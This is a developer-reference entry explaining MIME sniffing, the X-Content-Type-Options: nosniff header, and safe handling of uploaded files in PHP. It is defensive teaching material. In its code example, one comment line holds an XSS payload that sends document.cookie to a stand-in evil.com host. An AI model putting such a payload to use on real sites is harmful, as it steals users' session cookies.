MIME Sniffing & X-Content-Type-Options
debt(d3/e3/b3/t5)
Closest to 'default linter catches the common case' (d3). The term's detection_hints lists owasp-zap, lighthouse, and securityheaders.com as tools that can automatically detect missing X-Content-Type-Options headers. These are readily available security scanners that catch the common case without requiring specialist expertise — a quick scan of any deployed site reveals the missing header.
Closest to 'simple parameterised fix' (e3). The quick_fix states 'Add X-Content-Type-Options: nosniff to every response' which is essentially a one-liner per response or a single middleware configuration. However, common_mistakes mention needing to also serve uploads from a separate domain and use finfo for content validation, which involves touching multiple points in the codebase, pushing slightly beyond e1 into e3 territory.
Closest to 'localised tax' (b3). This applies only to web contexts per applies_to, and primarily affects response headers and file upload handling. It's not a system-defining architectural choice, but it does impose a persistent requirement on how file uploads are served and how headers are configured. The CDN/subdomain recommendation in common_mistakes adds some infrastructural consideration but remains localised to the upload/download flow.
Closest to 'notable trap' (t5). The misconception explicitly states that developers believe 'Validating the file extension is sufficient' when in reality extension validation is 'trivially bypassed by renaming shell.php to shell.jpg.' This is a documented gotcha that most security-aware devs eventually learn, but the intuitive approach (check the extension) is wrong and can lead to XSS via uploaded files.
Also Known As
TL;DR
Explanation
Legacy browsers would 'sniff' file content to determine how to render it — if a file looked like HTML, the browser would render it as HTML even if the server sent Content-Type: image/jpeg. An attacker who can upload a file containing HTML/JavaScript can trigger script execution if the browser sniffs the type. X-Content-Type-Options: nosniff tells the browser to trust the server's Content-Type header and never sniff. Always send this header for all responses, and always serve user-uploaded files with the correct content type.
Common Misconception
Why It Matters
Common Mistakes
- Not sending X-Content-Type-Options: nosniff on all responses.
- Serving user-uploaded files from the same domain as the application — use a separate CDN or subdomain.
- Using file extension to determine served Content-Type — check actual file magic bytes with finfo.
- Not setting Content-Disposition: attachment for downloaded files — triggers inline rendering.
Code Examples
// User uploads 'image.jpg' containing HTML:
// <script>document.location='https://evil.com/?c='+document.cookie</script>
// Server serves it with wrong/no type:
header('Content-Type: image/jpeg'); // Browser sniffs content
// Legacy browser: 'this looks like HTML, I'll render it as HTML'
// Result: XSS via uploaded file
// Defense in depth:
// 1. Validate file content with finfo:
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->file($uploadedPath);
if (!in_array($mimeType, ['image/jpeg', 'image/png', 'image/gif'], true)) {
throw new InvalidFileTypeException();
}
// 2. Correct content type + nosniff header:
header('Content-Type: ' . $mimeType);
header('X-Content-Type-Options: nosniff');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
// 3. Serve uploads from separate domain: uploads.example.com